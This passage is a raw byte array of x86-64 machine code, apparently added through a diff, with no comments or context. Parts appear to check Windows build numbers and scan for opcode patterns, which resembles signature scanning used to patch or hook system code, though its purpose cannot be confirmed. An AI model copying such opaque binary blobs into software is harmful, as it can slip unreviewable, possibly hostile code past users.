0xe1, 0x04, 0x41, + 0x08, 0xc9, 0x45, 0x0f, 0xb6, 0xc1, 0x41, 0xc1, 0xe0, 0x08, 0x66, 0x41, 0x09, 0xc0, 0x75, 0x1f, + 0x49, 0x83, 0xc4, 0x10, 0x4c, 0x8b, 0x6c, 0x24, 0x68, 0x49, 0x83, 0xc5, 0x10, 0x4c, 0x8b, 0xbc, + 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x83, 0xc7, 0x10, 0x8a, 0x5c, 0x24, 0x3e, 0xeb, 0x1a, 0x48, + 0x8d, 0x8c, 0x24, 0xf8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xe2, 0x45, 0x31, 0xc9, 0xe8, 0x8e, 0x15, + 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x60, 0xeb, 0xc7, 0x48, 0x8b, 0x84, 0x24, 0xb0, 0x00, 0x00, + 0x00, 0x4a, 0x8d, 0x0c, 0x20, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x24, 0x01, 0x48, 0x83, 0xf9, 0x07, + 0x77, 0x08, 0x84, 0xc0, 0x0f, 0x84, 0x87, 0xfd, 0xff, 0xff, 0x4c, 0x8b, 0x74, 0x24, 0x50, 0x48, + 0x8b, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x04, 0x16, 0x45, 0x8a, 0x4c, 0x16, 0x0f, + 0x8a, 0x4c, 0x24, 0x3d, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x3c, 0x45, 0x8a, 0x4c, 0x16, + 0x0e, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x3b, 0x45, 0x8a, 0x4c, 0x16, 0x0d, 0x41, 0x30, + 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x3a, 0x45, 0x8a, 0x4c, 0x16, 0x0c, 0x41, 0x30, 0xc9, 0x44, 0x88, + 0x4c, 0x24, 0x39, 0x45, 0x8a, 0x4c, 0x16, 0x0b, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x38, + 0x45, 0x8a, 0x4c, 0x16, 0x0a, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x37, 0x45, 0x8a, 0x4c, + 0x16, 0x09, 0x41, 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x36, 0x45, 0x8a, 0x4c, 0x16, 0x08, 0x41, + 0x30, 0xc9, 0x44, 0x88, 0x4c, 0x24, 0x34, 0x45, 0x8a, 0x4c, 0x16, 0x07, 0x41, 0x30, 0xc9, 0x44, + 0x88, 0x4c, 0x24, 0x31, 0x4c, 0x8b, 0x94, 0x24, 0xc0, 0x00, 0x00, 0x00, 0x47, 0x8a, 0x4c, 0x02, + 0x0f, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x68, 0x47, 0x8a, 0x4c, 0x02, 0x0e, 0x41, 0x30, + 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x35, 0x47, 0x8a, 0x4c, 0x02, 0x0d, 0x41, 0x30, 0xd9, 0x44, 0x88, + 0x4c, 0x24, 0x33, 0x47, 0x8a, 0x4c, 0x02, 0x0c, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x32, + 0x47, 0x8a, 0x4c, 0x02, 0x0b, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x30, 0x47, 0x8a, 0x4c, + 0x02, 0x0a, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x2f, 0x47, 0x8a, 0x4c, 0x02, 0x09, 0x41, + 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x2e, 0x47, 0x8a, 0x4c, 0x02, 0x08, 0x41, 0x30, 0xd9, 0x44, + 0x88, 0x4c, 0x24, 0x2d, 0x47, 0x8a, 0x4c, 0x02, 0x07, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, + 0x2c, 0x47, 0x8a, 0x4c, 0x02, 0x06, 0x41, 0x30, 0xd9, 0x44, 0x88, 0x4c, 0x24, 0x2b, 0x47, 0x8a, + 0x6c, 0x02, 0x05, 0x41, 0x30, 0xdd, 0x47, 0x8a, 0x7c, 0x02, 0x04, 0x41, 0x30, 0xdf, 0x43, 0x8a, + 0x7c, 0x02, 0x03, 0x40, 0x30, 0xdf, 0x47, 0x8a, 0x5c, 0x02, 0x02, 0x41, 0x30, 0xdb, 0x47, 0x8a, + 0x4c, 0x02, 0x01, 0x41, 0x30, 0xd9, 0x43, 0x32, 0x1c, 0x02, 0x45, 0x8a, 0x44, 0x16, 0x06, 0x41, + 0x30, 0xc8, 0x44, 0x88, 0x44, 0x24, 0x3f, 0x45, 0x8a, 0x64, 0x16, 0x05, 0x41, 0x30, 0xcc, 0x89, + 0xde, 0x41, 0x8a, 0x6c, 0x16, 0x04, 0x40, 0x30, 0xcd, 0x41, 0x8a, 0x5c, 0x16, 0x03, 0x30, 0xcb, + 0x45, 0x8a, 0x54, 0x16, 0x02, 0x41, 0x30, 0xca, 0x45, 0x8a, 0x44, 0x16, 0x01, 0x41, 0x30, 0xc8, + 0x41, 0x32, 0x0c, 0x16, 0x40, 0x08, 0xce, 0x41, 0x0f, 0x94, 0xc6, 0x45, 0x08, 0xc1, 0x0f, 0x94, + 0xc1, 0x00, 0xc9, 0x44, 0x08, 0xf1, 0x45, 0x08, 0xd3, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, 0xe0, + 0x02, 0x40, 0x08, 0xdf, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x03, 0x44, 0x08, 0xc2, 0x08, 0xca, 0x41, + 0x08, 0xef, 0x0f, 0x94, 0xc1, 0x45, 0x08, 0xe5, 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, + 0x08, 0xc8, 0x8a, 0x4c, 0x24, 0x3f, 0x08, 0x4c, 0x24, 0x2b, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, + 0xe1, 0x02, 0x8a, 0x4c, 0x24, 0x2c, 0x0a, 0x4c, 0x24, 0x31, 0x0f, 0x94, 0xc1, 0xc0, 0xe1, 0x03, + 0x44, 0x08, 0xc9, 0x44, 0x08, 0xc1, 0xc0, 0xe1, 0x04, 0x08, 0xd1, 0x8a, 0x54, 0x24, 0x2d, 0x0a, + 0x54, 0x24, 0x34, 0x0f, 0x94, 0xc2, 0x44, 0x8a, 0x44, 0x24, 0x2e, 0x44, 0x0a, 0x44, 0x24, 0x36, + 0x41, 0x0f, 0x94, 0xc0, 0x45, 0x00, 0xc0, 0x41, 0x08, 0xd0, 0x8a, 0x54, 0x24, 0x2f, 0x0a, 0x54, + 0x24, 0x37, 0x41, 0x0f, 0x94, 0xc1, 0x41, 0xc0, 0xe1, 0x02, 0x8a, 0x54, 0x24, 0x30, 0x0a, 0x54, + 0x24, 0x38, 0x0f, 0x94, 0xc2, 0xc0, 0xe2, 0x03, 0x44, 0x08, 0xca, 0x44, 0x08, 0xc2, 0x44, 0x8a, + 0x44, 0x24, 0x32, 0x44, 0x0a, 0x44, 0x24, 0x39, 0x41, 0x0f, 0x94, 0xc0, 0x44, 0x8a, 0x4c, 0x24, + 0x33, 0x44, 0x0a, 0x4c, 0x24, 0x3a, 0x41, 0x0f, 0x94, 0xc1, 0x45, 0x00, 0xc9, 0x45, 0x08, 0xc1, + 0x44, 0x8a, 0x44, 0x24, 0x35, 0x44, 0x0a, 0x44, 0x24, 0x3b, 0x41, 0x0f, 0x94, 0xc0, 0x41, 0xc0, + 0xe0, 0x02, 0x44, 0x8a, 0x54, 0x24, 0x68, 0x44, 0x0a, 0x54, 0x24, 0x3c, 0x0f, 0xb6, 0xc9, 0x41, + 0x0f, 0x94, 0xc2, 0x41, 0xc0, 0xe2, 0x03, 0x45, 0x08, 0xc2, 0x45, 0x08, 0xca, 0x41, 0xc0, 0xe2, + 0x04, 0x41, 0x08, 0xd2, 0x45, 0x0f, 0xb6, 0xc2, 0x41, 0xc1, 0xe0, 0x08, 0x66, 0x41, 0x09, 0xc8, + 0x0f, 0x84, 0x1f, 0xf7, 0xff, 0xff, 0x84, 0xc0, 0x0f, 0x95, 0xc3, 0x48, 0x8d, 0x8c, 0x24, 0xf8, + 0x00, 0x00, 0x00, 0x48, 0x8b, 0x94, 0x24, 0x90, 0x00, 0x00, 0x00, 0x41, 0x89, 0xc1, 0xe8, 0xbd, + 0x12, 0x00, 0x00, 0x08, 0xd8, 0xe9, 0xfb, 0xf6, 0xff, 0xff, 0x41, 0xba, 0x01, 0x00, 0x00, 0x00, + 0x41, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xc9, 0xba, 0x01, 0x00, 0x00, 0x00, 0x31, 0xc0, + 0x4a, 0x8d, 0x0c, 0x08, 0x4c, 0x39, 0xf1, 0x0f, 0x83, 0xed, 0x04, 0x00, 0x00, 0x8a, 0x0c, 0x0e, + 0x42, 0x38, 0x0c, 0x16, 0x73, 0x11, 0x48, 0x8d, 0x0c, 0x02, 0x48, 0xff, 0xc1, 0x49, 0x89, 0xc8, + 0x4d, 0x29, 0xc8, 0x31, 0xc0, 0xeb, 0x32, 0x75, 0x21, 0x48, 0xff, 0xc0, 0x4c, 0x39, 0xc0, 0x49, + 0x89, 0xc2, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x0f, 0x44, 0xd1, 0x48, 0x0f, 0x45, 0xc1, 0x48, + 0x89, 0xc1, 0x48, 0x01, 0xd1, 0x4c, 0x89, 0xd0, 0xeb, 0x0f, 0x48, 0x8d, 0x4a, 0x01, 0x41, 0xb8, + 0x01, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x49, 0x89, 0xd1, 0x4c, 0x8d, 0x14, 0x01, 0x48, 0x89, 0xca, + 0x4d, 0x39, 0xf2, 0x72, 0x9b, 0xbe, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x31, + 0xc9, 0x41, 0xbb, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xd2, 0x49, 0x8d, 0x14, 0x0a, 0x4c, 0x39, + 0xf2, 0x0f, 0x83, 0x7c, 0x04, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, 0x40, 0x8a, 0x14, 0x17, 0x38, + 0x14, 0x37, 0x76, 0x12, 0x4b, 0x8d, 0x14, 0x13, 0x48, 0xff, 0xc2, 0x48, 0x89, 0xd0, 0x48, 0x29, + 0xc8, 0x45, 0x31, 0xd2, 0xeb, 0x32, 0x75, 0x21, 0x49, 0xff, 0xc2, 0x49, 0x39, 0xc2, 0x4c, 0x89, + 0xd6, 0xba, 0x00, 0x00, 0x00, 0x00, 0x48, 0x0f, 0x44, 0xf2, 0x4c, 0x0f, 0x45, 0xd2, 0x4c, 0x89, + 0xd2, 0x4c, 0x01, 0xda, 0x49, 0x89, 0xf2, 0xeb, 0x0f, 0x49, 0x8d, 0x53, 0x01, 0xb8, 0x01, 0x00, + 0x00, 0x00, 0x45, 0x31, 0xd2, 0x4c, 0x89, 0xd9, 0x4a, 0x8d, 0x34, 0x12, 0x49, 0x89, 0xd3, 0x4c, + 0x8b, 0x74, 0x24, 0x48, 0x4c, 0x39, 0xf6, 0x72, 0x91, 0x49, 0x39, 0xc9, 0x49, 0x0f, 0x47, 0xc9, + 0x49, 0x0f, 0x47, 0xc0, 0x4d, 0x89, 0xf1, 0x49, 0x29, 0xc9, 0x0f, 0x82, 0x5a, 0x04, 0x00, 0x00, + 0x49, 0x89, 0xc2, 0x49, 0x01, 0xca, 0x4c, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x8b, 0xbc, 0x24, 0xd8, + 0x00, 0x00, 0x00, 0x0f, 0x82, 0x4a, 0x04, 0x00, 0x00, 0x4d, 0x39, 0xf2, 0x0f, 0x87, 0x50, 0x04, + 0x00, 0x00, 0x49, 0x8d, 0x34, 0x00, 0x45, 0x31, 0xd2, 0x4d, 0x89, 0xd0, 0x4c, 0x39, 0xd1, 0x0f, + 0x84, 0x96, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x54, 0x24, 0x40, 0x47, 0x8a, 0x1c, 0x02, 0x4d, 0x8d, + 0x50, 0x01, 0x46, 0x3a, 0x1c, 0x06, 0x74, 0xe1, 0x4c, 0x39, 0xc9, 0x4c, 0x0f, 0x47, 0xc9, 0x45, + 0x31, 0xd2, 0x31, 0xc0, 0x49, 0x83, 0xfe, 0x04, 0x72, 0x43, 0x48, 0x8b, 0x9c, 0x24, 0xc8, 0x00, + 0x00, 0x00, 0x4c, 0x8b, 0x5c, 0x24, 0x40, 0x41, 0x8a, 0x34, 0x03, 0x4c, 0x8b, 0x5c, 0x24, 0x40, + 0x45, 0x8a, 0x5c, 0x03, 0x01, 0x49, 0x0f, 0xab, 0xf2, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x4d, 0x0f, + 0xab, 0xda, 0x44, 0x8a, 0x5c, 0x06, 0x02, 0x4d, 0x0f, 0xab, 0xda, 0x44, 0x8a, 0x5c, 0x06, 0x03, + 0x4d, 0x0f, 0xab, 0xda, 0x48, 0x83, 0xc0, 0x04, 0x48, 0x39, 0xc3, 0x75, 0xc5, 0x48, 0x85, 0xff, + 0x74, 0x17, 0x48, 0x03, 0x44, 0x24, 0x40, 0x31, 0xf6, 0x44, 0x8a, 0x1c, 0x30, 0x4d, 0x0f, 0xab, + 0xda, 0x48, 0xff, 0xc6, 0x48, 0x39, 0xf7, 0x75, 0xf0, 0x49, 0xff, 0xc1, 0x49, 0xc7, 0xc3, 0xff, + 0xff, 0xff, 0xff, 0x4c, 0x89, 0xc8, 0xe9, 0x88, 0x01, 0x00, 0x00, 0x41, 0xba, 0x01, 0x00, 0x00, + 0x00, 0x4c, 0x89, 0xf2, 0x31, 0xf6, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xdb, 0x4c, 0x8d, + 0x0c, 0x37, 0x49, 0x39, 0xd1, 0x0f, 0x83, 0x91, 0x00, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xf7, + 0xd1, 0x49, 0x89, 0xd6, 0x49, 0x29, 0xf6, 0x4d, 0x01, 0xce, 0x49, 0x39, 0xd6, 0x0f, 0x83, 0x35, + 0x03, 0x00, 0x00, 0x49, 0x89, 0xf1, 0x49, 0xf7, 0xd1, 0x49, 0x01, 0xd1, 0x4d, 0x29, 0xd9, 0x49, + 0x39, 0xd1, 0x0f, 0x83, 0x2c, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x5f, 0x01, 0x48, 0x8b, 0x54, 0x24, + 0x40, 0x46, 0x8a, 0x0c, 0x0a, 0x46, 0x38, 0x0c, 0x32, 0x73, 0x11, 0x48, 0x8d, 0x1c, 0x3e, 0x48, + 0xff, 0xc3, 0x49, 0x89, 0xda, 0x4d, 0x29, 0xda, 0x31, 0xf6, 0xeb, 0x2f, 0x75, 0x22, 0x48, 0xff, + 0xc6, 0x4c, 0x39, 0xd6, 0x48, 0x89, 0xf2, 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x49, 0x0f, 0x44, + 0xd1, 0x49, 0x0f, 0x45, 0xf1, 0x48, 0x89, 0xf3, 0x48, 0x01, 0xfb, 0x48, 0x89, 0xd6, 0xeb, 0x0b, + 0x41, 0xba, 0x01, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x49, 0x89, 0xfb, 0x48, 0x89, 0xdf, 0x49, 0x39, + 0xc2, 0x48, 0x8b, 0x54, 0x24, 0x48, 0x0f, 0x85, 0x62, 0xff, 0xff, 0xff, 0x41, 0xba, 0x01, 0x00, + 0x00, 0x00, 0x31, 0xf6, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x45, 0x31, 0xdb, 0x4c, 0x8d, 0x0c, 0x37, + 0x49, 0x39, 0xd1, 0x0f, 0x83, 0x91, 0x00, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x49, 0xf7, 0xd1, 0x49, + 0x89, 0xd6, 0x49, 0x29, 0xf6, 0x4d, 0x01, 0xce, 0x49, 0x39, 0xd6, 0x0f, 0x83, 0x87, 0x02, 0x00, + 0x00, 0x49, 0x89, 0xf1, 0x49, 0xf7, 0xd1, 0x49, 0x01, 0xd1, 0x4d, 0x29, 0xd9, 0x49, 0x39, 0xd1, + 0x0f, 0x83, 0x7e, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x5f, 0x01, 0x48, 0x8b, 0x54, 0x24, 0x40, 0x46, + 0x8a, 0x0c, 0x0a, 0x46, 0x38, 0x0c, 0x32, 0x76, 0x11, 0x48, 0x8d, 0x1c, 0x3e, 0x48, 0xff, 0xc3, + 0x49, 0x89, 0xda, 0x4d, 0x29, 0xda, 0x31, 0xf6, 0xeb, 0x2f, 0x75, 0x22, 0x48, 0xff, 0xc6, 0x4c, + 0x39, 0xd6, 0x48, 0x89, 0xf2, 0x41, 0xb9, 0x00, 0x00, 0x00, 0x00, 0x49, 0x0f, 0x44, 0xd1, 0x49, + 0x0f, 0x45, 0xf1, 0x48, 0x89, 0xf3, 0x48, 0x01, 0xfb, 0x48, 0x89, 0xd6, 0xeb, 0x0b, 0x41, 0xba, + 0x01, 0x00, 0x00, 0x00, 0x31, 0xf6, 0x49, 0x89, 0xfb, 0x48, 0x89, 0xdf, 0x49, 0x39, 0xc2, 0x48, + 0x8b, 0x54, 0x24, 0x48, 0x0f, 0x85, 0x62, 0xff, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x17, 0x48, + 0x83, 0xf8, 0x04, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0x73, 0x20, 0x45, 0x31, 0xd2, 0x31, 0xd2, 0x48, + 0x8b, 0x74, 0x24, 0x40, 0xeb, 0x5b, 0x45, 0x31, 0xdb, 0x45, 0x31, 0xd2, 0x31, 0xc0, 0x4c, 0x8b, + 0x74, 0x24, 0x48, 0x48, 0x8b, 0x7c, 0x24, 0x70, 0xeb, 0x6e, 0x49, 0x89, 0xc1, 0x49, 0x83, 0xe1, + 0xfc, 0x45, 0x31, 0xd2, 0x31, 0xd2, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x44, 0x8a, 0x1c, 0x16, 0x48, + 0x8b, 0x74, 0x24, 0x40, 0x40, 0x8a, 0x74, 0x16, 0x01, 0x4d, 0x0f, 0xab, 0xda, 0x49, 0x0f, 0xab, + 0xf2, 0x48, 0x8b, 0x74, 0x24, 0x40, 0x44, 0x8a, 0x5c, 0x16, 0x02, 0x4d, 0x0f, 0xab, 0xda, 0x44, + 0x8a, 0x5c, 0x16, 0x03, 0x4d, 0x0f, 0xab, 0xda, 0x48, 0x83, 0xc2, 0x04, 0x49, 0x39, 0xd1, 0x75, + 0xca, 0x41, 0x89, 0xc1, 0x41, 0x83, 0xe1, 0x03, 0x74, 0x16, 0x48, 0x01, 0xf2, 0x45, 0x31, 0xdb, + 0x42, 0x8a, 0x34, 0x1a, 0x49, 0x0f, 0xab, 0xf2, 0x49, 0xff, 0xc3, 0x4d, 0x39, 0xd9, 0x75, 0xf0, + 0x45, 0x31, 0xdb, 0x4c, 0x8b, 0x74, 0x24, 0x48, 0x4c, 0x89, 0xf6, 0x48, 0x29, 0xc6, 0x48, 0x8b, + 0x94, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x01, 0xd7, 0x31, 0xdb, 0x4c, 0x39, 0xd9, 0x4d, 0x89, + 0xde, 0x4c, 0x0f, 0x47, 0xf1, 0x4c, 0x39, 0xc1, 0x4c, 0x0f, 0x45, 0xf1, 0xba, 0x00, 0x00, 0x00, + 0x00, 0x4c, 0x0f, 0x45, 0xda, 0x48, 0x8b, 0x94, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x48, 0x01, 0xda, + 0x48, 0x83, 0xfa, 0x07, 0x0f, 0x87, 0xe3, 0xf2, 0xff, 0xff, 0x4c, 0x8b, 0x4c, 0x24, 0x50, 0x41, + 0x0f, 0xb6, 0x14, 0x11, 0x49, 0x0f, 0xa3, 0xd2, 0x73, 0x3d, 0x48, 0x8d, 0x14, 0x1f, 0x4d, 0x89, + 0xf7, 0x4c, 0x3b, 0x7c, 0x24, 0x48, 0x73, 0x3b, 0x4e, 0x8d, 0x0c, 0x3b, 0x49, 0x83, 0xf9, 0x07, + 0x0f, 0x87, 0xbb, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x64, 0x24, 0x40, 0x43, 0x8a, 0x2c, 0x3c, 0x4d, + 0x8d, 0x67, 0x01, 0x42, 0x3a, 0x2c, 0x3a, 0x4d, 0x89, 0xe7, 0x74, 0xd5, 0x49, 0x29, 0xc9, 0x4c, + 0x89, 0xcb, 0x48, 0xff, 0xc3, 0xeb, 0x05, 0x48, 0x03, 0x5c, 0x24, 0x48, 0x4c, 0x39, 0xc1, 0x75, + 0x94, 0xeb, 0x4c, 0x48, 0x89, 0xca, 0x49, 0x39, 0xd3, 0x73, 0x5f, 0x48, 0xff, 0xca, 0x48, 0x3b, + 0x54, 0x24, 0x48, 0x0f, 0x83, 0xa2, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x0c, 0x1a, 0x49, 0x83, 0xf9, + 0x08, 0x0f, 0x83, 0xa0, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x7c, 0x24, 0x40, 0x41, 0x8a, 0x2c, 0x17, + 0x4c, 0x8b, 0x7c, 0x24, 0x50, 0x43, 0x3a, 0x2c, 0x0f, 0x74, 0xcb, 0x48, 0x01, 0xc3, 0x4c, 0x39, + 0xc1, 0x0f, 0x85, 0x4e, 0xff, 0xff, 0xff, 0x49, 0x89, 0xf3, 0xe9, 0x2c, 0xff, 0xff, 0xff, 0x45, + 0x31, 0xdb, 0xe9, 0x24, 0xff, 0xff, 0xff, 0x31, 0xc0, 0x31, 0xd2, 0xeb, 0x20, 0x48, 0x8b, 0x84, + 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x50, 0x48, 0x8b, 0x44, 0x24, 0x50, 0x8b, + 0x50, 0x08, 0x8b, 0x40, 0x0c, 0x48, 0x03, 0x84, 0x24, 0xe8, 0x00, 0x00, 0x00, 0x48, 0x81, 0xc4, + 0x18, 0x01, 0x00, 0x00, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, + 0xc3, 0x4c, 0x8d, 0x05, 0x60, 0xec, 0xff, 0xff, 0xeb, 0x34, 0x4c, 0x8d, 0x05, 0x1f, 0xed, 0xff, + 0xff, 0xeb, 0x13, 0x4c, 0x8d, 0x05, 0x16, 0xed, 0xff, 0xff, 0xeb, 0x16, 0x4c, 0x89, 0xc1, 0x4c, + 0x8d, 0x05, 0xfa, 0xeb, 0xff, 0xff, 0x4c, 0x89, 0xf2, 0xeb, 0x38, 0x4c, 0x8d, 0x05, 0x06, 0xec, + 0xff, 0xff, 0x48, 0x89, 0xd1, 0xeb, 0x27, 0x4c, 0x8d, 0x05, 0x12, 0xec, 0xff, 0xff, 0xba, 0x08, + 0x00, 0x00, 0x00, 0x4c, 0x89, 0xc9, 0xeb, 0x1b, 0x4c, 0x8d, 0x05, 0xf9, 0xec, 0xff, 0xff, 0x4c, + 0x89, 0xf1, 0xeb, 0x0f, 0x4c, 0x8d, 0x05, 0x05, 0xed, 0xff, 0xff, 0x4c, 0x89, 0xc9, 0x48, 0x8b, + 0x54, 0x24, 0x48, 0xe8, 0xe8, 0x0d, 0x00, 0x00, 0x0f, 0x0b, 0x4c, 0x8d, 0x05, 0x8f, 0xec, 0xff, + 0xff, 0xeb, 0xb3, 0x4c, 0x8d, 0x05, 0x9e, 0xec, 0xff, 0xff, 0x48, 0x89, 0xc1, 0x4c, 0x89, 0xd2, + 0xeb, 0xe1, 0x4c, 0x8d, 0x05, 0x8f, 0xec, 0xff, 0xff, 0x4c, 0x89, 0xd1, 0xeb, 0x98, 0x56, 0x48, + 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x48, 0x89, 0xd6, 0x4c, 0x89, 0xc2, 0xe8, 0x32, 0x00, 0x00, + 0x00, 0x48, 0x85, 0xc0, 0x74, 0x22, 0x31, 0xc9, 0x48, 0x81, 0xf9, 0x88, 0x00, 0x00, 0x00, 0x74, + 0x0a, 0xc6, 0x44, 0x0c, 0x28, 0x00, 0x48, 0xff, 0xc1, 0xeb, 0xed, 0x48, 0x8d, 0x4c, 0x24, 0x28, + 0x48, 0x89, 0x71, 0x30, 0xff, 0xd0, 0xeb, 0x02, 0x31, 0xc0, 0x48, 0x81, 0xc4, 0xb0, 0x00, 0x00, + 0x00, 0x5e, 0xc3, 0x56, 0x57, 0x53, 0x48, 0x83, 0xec, 0x70, 0x48, 0x85, 0xc9, 0x0f, 0x84, 0xcf, + 0x01, 0x00, 0x00, 0x48, 0x89, 0xd7, 0x48, 0x89, 0xce, 0x48, 0x89, 0xd1, 0x66, 0xba, 0x0a, 0x00, + 0x45, 0x31, 0xc0, 0x66, 0x41, 0xb9, 0xec, 0x55, 0xe8, 0x0a, 0xed, 0xff, 0xff, 0x84, 0xc0, 0x74, + 0x0d, 0x48, 0x89, 0xf1, 0xe8, 0x81, 0x02, 0x00, 0x00, 0xe9, 0xa6, 0x01, 0x00, 0x00, 0x48, 0x83, + 0x64, 0x24, 0x48, 0x00, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x48, 0x83, 0x64, 0x24, 0x38, 0x00, + 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x0a, 0x00, 0x45, 0x31, 0xc0, + 0x66, 0x41, 0xb9, 0xab, 0x3f, 0xe8, 0xcd, 0xec, 0xff, 0xff, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x0a, + 0x00, 0x45, 0x31, 0xc0, 0x84, 0xc0, 0x74, 0x63, 0x66, 0x41, 0xb9, 0xba, 0x47, 0xe8, 0xb5, 0xec, + 0xff, 0xff, 0xbb, 0x46, 0x00, 0x00, 0x00, 0x84, 0xc0, 0x75, 0x1b, 0x48, 0x89, 0xf9, 0x66, 0xba, + 0x0a, 0x00, 0x45, 0x31, 0xc0, 0x66, 0x41, 0xb9, 0xee, 0x42, 0xe8, 0x98, 0xec, 0xff, 0xff, 0x0f, + 0xb6, 0xd8, 0x48, 0x83, 0xc3, 0x43, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xc7, 0x02, 0x74, 0x33, 0x44, + 0x8d, 0x66, 0xc7, 0x42, 0x04, 0x43, 0x09, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, 0xb8, 0x06, 0x00, + 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x1b, 0xec, 0xff, 0xff, 0x48, 0x89, 0x5f, 0x18, 0x48, 0xc7, + 0x47, 0x10, 0x06, 0x00, 0x00, 0x00, 0xe9, 0x91, 0x00, 0x00, 0x00, 0x66, 0x41, 0xb9, 0xd7, 0x3a, + 0xe8, 0x52, 0xec, 0xff, 0xff, 0x84, 0xc0, 0x74, 0x2e, 0x48, 0x8d, 0x54, 0x24, 0x50, 0xc7, 0x02, + 0x74, 0x33, 0x44, 0x8d, 0x66, 0xc7, 0x42, 0x04, 0x43, 0x09, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, + 0xb8, 0x06, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0xd8, 0xeb, 0xff, 0xff, 0x48, 0xc7, 0x47, + 0x10, 0x06, 0x00, 0x00, 0x00, 0xeb, 0x4d, 0x48, 0x89, 0xf9, 0x66, 0xba, 0x06, 0x00, 0x66, 0x41, + 0xb8, 0x03, 0x00, 0x45, 0x31, 0xc9, 0xe8, 0x0c, 0xec, 0xff, 0xff, 0x84, 0xc0, 0x0f, 0x84, 0xb9, + 0x00, 0x00, 0x00, 0x48, 0xb8, 0x44, 0x8d, 0x43, 0x09, 0x4c, 0x8d, 0x4c, 0x24, 0x48, 0x8d, 0x54, + 0x24, 0x50, 0x48, 0x89, 0x02, 0xc6, 0x42, 0x08, 0x38, 0x48, 0x8d, 0x7c, 0x24, 0x30, 0x41, 0xb8, + 0x09, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf9, 0xe8, 0x89, 0xeb, 0xff, 0xff, 0x48, 0xc7, 0x47, 0x10, + 0x09, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x47, 0x18, 0x43, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x7c, 0x24, + 0x48, 0x48, 0x89, 0x7c, 0x24, 0x68, 0x48, 0x8b, 0x44, 0x24, 0x40, 0x48, 0x89, 0x44, 0x24, 0x60, + 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x4c, 0x24, 0x38, 0x48, 0x89, 0x4c, 0x24, 0x58, 0x48, + 0x89, 0x44, 0x24, 0x50, 0x48, 0x85, 0xff, 0x74, 0x49, 0x48, 0x89, 0xf1, 0xe8, 0xf9, 0x02, 0x00, + 0x00, 0x48, 0x89, 0xc6, 0x31, 0xc0, 0x48, 0x85, 0xf6, 0x74, 0x39, 0x48, 0x85, 0xd2, 0x74, 0x34, + 0x4c, 0x8d, 0x44, 0x24, 0x50, 0x49, 0x8b, 0x40, 0x10, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0xb9, + 0x10, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0xe8, 0xa6, 0xeb, 0xff, 0xff, 0x48, 0x83, 0xf8, 0xff, + 0x74, 0x10, 0x48, 0x29, 0xfe, 0x48, 0x01, 0xc6, 